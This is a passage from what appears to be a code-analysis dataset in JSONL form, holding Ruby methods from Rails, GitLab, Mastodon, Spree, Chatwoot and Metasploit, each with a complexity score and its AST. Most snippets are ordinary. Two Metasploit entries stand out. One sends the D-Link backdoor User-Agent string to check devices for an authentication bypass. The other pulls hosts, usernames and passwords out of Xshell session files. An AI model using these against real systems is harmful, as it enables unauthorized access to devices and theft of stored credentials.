ype\":\"int\",\"children\":[8191]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pg_function\"]},{\"type\":\"str\",\"children\":[\"<=>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokenizer_class\"]},{\"type\":\"str\",\"children\":[\"DiscourseAi::Tokenizer::OpenAiTokenizer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"str\",\"children\":[\"text-embedding-ada-002\"]}]}]}]}]}]}]}]}","id":"1bb6e7ea-d9b2-4f05-87cb-1579da35b74a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/actions_test.rb","start_line":731,"raw_source":"def action(...)\n      if ENV[\"RAILS_LOG_TO_STDOUT\"] == \"true\"\n        generator.send(...)\n      else\n        capture(:stdout) { generator.send(...) }\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"action\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RAILS_LOG_TO_STDOUT\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"send\",{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"sym\",\"children\":[\"stdout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"send\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}]}","id":"bd14fffd-b1be-469e-8934-c9bed3d7b84d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/postgres.rb","start_line":196,"raw_source":"def postgres_print_reply(resp=nil,sql=nil)\n    verbose = datastore['VERBOSE']\n    return :error unless resp.kind_of? Connection::Result\n\n    if resp.rows and resp.fields\n      print_status \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} Rows Returned: #{resp.rows.size}\" if verbose\n      if resp.rows.size > 0\n        tbl = Rex::Text::Table.new(\n          'Indent' => 4,\n          'Header' => \"Query Text: '#{sql}'\",\n          'Columns' => resp.fields.map {|x| x.name}\n        )\n        resp.rows.each {|row| tbl << row.map { |x| x.nil? ? \"NIL\" : x } }\n        print_line(tbl.to_s)\n      end\n    end\n    return :complete\n  end","complexity_score":54.7,"ast_json":"{\"type\":\"def\",\"children\":[\"postgres_print_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"resp\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"sql\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Connection\"]},\"Result\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"rows\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"fields\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" Rows Returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"rows\"]},\"size\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"rows\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Query Text: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"fields\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"name\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"NIL\"]},{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]}]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"complete\"]}]}]}]}","id":"7b45026a-acc6-492a-8198-60763b822e4b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb","start_line":351,"raw_source":"def prev_occurring(day_of_week)\n      ago = wday - DAYS_INTO_WEEK.fetch(day_of_week)\n      ago += 7 unless ago > 0\n      advance(days: -ago)\n    end","complexity_score":11.13,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_occurring\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"day_of_week\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ago\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wday\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DAYS_INTO_WEEK\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"day_of_week\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ago\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ago\"]},\"+\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"send\",\"children\":[null,\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ago\"]},\"-@\"]}]}]}]}]}]}","id":"19c2463f-1c55-41c0-859a-49be478acb31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/migrations_helpers/cluster_helpers.rb","start_line":55,"raw_source":"def create_kubernetes_namespace(clusters)\n      clusters.each do |cluster|\n        cluster_project = cluster_projects_table.find_by(cluster_id: cluster.id)\n        project = projects_table.find(cluster_project.project_id)\n        namespace = \"#{project.path}-#{project.id}\"\n\n        cluster_kubernetes_namespaces_table.create!(\n          cluster_project_id: cluster_project.id,\n          cluster_id: cluster.id,\n          project_id: cluster_project.project_id,\n          namespace: namespace,\n          service_account_name: \"#{namespace}-service-account\"\n        )\n      end\n    end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_kubernetes_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clusters\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clusters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cluster_project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster_projects_table\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cluster_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster\"]},\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects_table\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster_project\"]},\"project_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster_kubernetes_namespaces_table\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cluster_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster_project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cluster_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cluster_project\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_account_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"-service-account\"]}]}]}]}]}]}]}]}","id":"4bb166c3-5d70-415d-b835-d6d7ab289b8f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/backup_worker.rb","start_line":19,"raw_source":"def perform(backup_id)\n    backup = Backup.find(backup_id)\n    user   = backup.user\n\n    BackupService.new.call(backup)\n\n    user.backups.where.not(id: backup.id).destroy_all\n    UserMailer.backup_ready(user, backup).deliver_later\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"backup_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backup\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Backup\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"backup_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup\"]},\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"backup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"backups\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup\"]},\"id\"]}]}]}]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserMailer\"]},\"backup_ready\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"backup\"]}]},\"deliver_later\"]}]}]}","id":"f0e3510a-49ea-44ea-993c-beb9ee074be7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":332,"raw_source":"def default_variant\n      @default_variant ||= if Spree::Config[:track_inventory_levels] && available_variant = variants.detect(&:purchasable?)\n                             available_variant\n                           else\n                             has_variants? ? variants.first : find_or_build_master\n                           end\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"default_variant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_variant\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"track_inventory_levels\"]}]},{\"type\":\"lvasgn\",\"children\":[\"available_variant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variants\"]},\"detect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"purchasable?\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"available_variant\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_variants?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variants\"]},\"first\"]},{\"type\":\"send\",\"children\":[null,\"find_or_build_master\"]}]}]}]}]}","id":"5810e608-ef46-4680-8575-b442d1222396"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/phone_info_service.rb","start_line":9,"raw_source":"def perform\n    validate_parameters!\n    fetch_and_process_phone_info\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_parameters!\"]},{\"type\":\"send\",\"children\":[null,\"fetch_and_process_phone_info\"]}]}]}","id":"6b7dce4c-b1b7-4df2-a1e9-8726dd284797"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/timelog_resolver_spec.rb","start_line":370,"raw_source":"def resolve_timelogs(user: current_user, obj: object, **args)\n    context = { current_user: user }\n    resolve(described_class, obj: obj, args: args.merge(extra_args), ctx: context)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_timelogs\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[null,\"object\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"extra_args\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}]}","id":"77bbc7a6-37ac-4038-aa51-538e6ce3a127"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/utils/tar.rb","start_line":82,"raw_source":"def build_exclude_patterns(*patterns)\n            patterns.map { |pattern| %(--exclude=#{pattern}) }\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_exclude_patterns\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"patterns\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--exclude=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]}]}","id":"fede6e7a-0b7a-4edb-af13-b56c5fff51a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb","start_line":52,"raw_source":"def run_host(ip)\n    if is_alpha_web_server?\n      vprint_good(\"#{ip} - Alphanetworks web server detected\")\n    else\n      vprint_error(\"#{ip} - Alphanetworks web server doesn't detected\")\n      return\n    end\n\n    begin\n      res = send_request_cgi({\n        'uri' => '/',\n        'method' => 'GET',\n        'agent' => 'xmlset_roodkcableoj28840ybtide'\n      })\n    rescue ::Rex::ConnectionError\n      vprint_error(\"#{ip}:#{rport} - Failed to connect to the web server\")\n      return\n    end\n\n    # DIR-100 device with firmware version v1.13\n    # not sure if this matches on other devices\n    # TODO: Testing on other devices\n    if res and res.code == 200 and res.headers[\"Content-length\"] != 0 and res.body =~ /Home\\/bsc_internet\\.htm/\n      print_good(\"#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \\\"xmlset_roodkcableoj28840ybtide\\\"\")\n    end\n  end","complexity_score":25.35,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_alpha_web_server?\"]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - Alphanetworks web server detected\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - Alphanetworks web server doesn't detected\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"str\",\"children\":[\"xmlset_roodkcableoj28840ybtide\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to connect to the web server\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-length\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Home/bsc_internet\\\\.htm\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Vulnerable for authentication bypass via User-Agent Header \\\"xmlset_roodkcableoj28840ybtide\\\"\"]}]}]},null]}]}]}","id":"90c199ec-ec51-4434-99c1-b80c5106918b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/net_sarang.rb","start_line":85,"raw_source":"def parser_xsh(input)\n        ini = Rex::Parser::Ini.from_s(input)\n        version = ini['SessionInfo']['Version']\n        port = ini['CONNECTION']['Port']\n        host = ini['CONNECTION']['Host']\n        username = ini['CONNECTION:AUTHENTICATION']['UserName']\n        password = ini['CONNECTION:AUTHENTICATION']['Password'] || nil\n        [version, host, port, username, password]\n      end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parser_xsh\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ini\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Ini\"]},\"from_s\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SessionInfo\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONNECTION\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Port\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONNECTION\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONNECTION:AUTHENTICATION\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"UserName\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONNECTION:AUTHENTICATION\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Password\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]}","id":"7706ec35-78ee-4f2a-9b8b-a95a62a8d185"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/pajamas/badge_component_preview.rb","start_line":15,"raw_source":"def default(icon: :tanuki, icon_only: false, href: nil, text: \"Tanuki\", variant: :neutral)\n      render Pajamas::BadgeComponent.new(\n        text,\n        icon: icon,\n        icon_only: icon_only,\n        href: href,\n        variant: variant\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"icon\",{\"type\":\"sym\",\"children\":[\"tanuki\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"icon_only\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"href\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"Tanuki\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"neutral\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"BadgeComponent\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"lvar\",\"children\":[\"icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon_only\"]},{\"type\":\"lvar\",\"children\":[\"icon_only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"lvar\",\"children\":[\"href\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]}]}]}]}]}]}","id":"881a5e96-7c6e-466b-9459-a0e98d7fedac"}
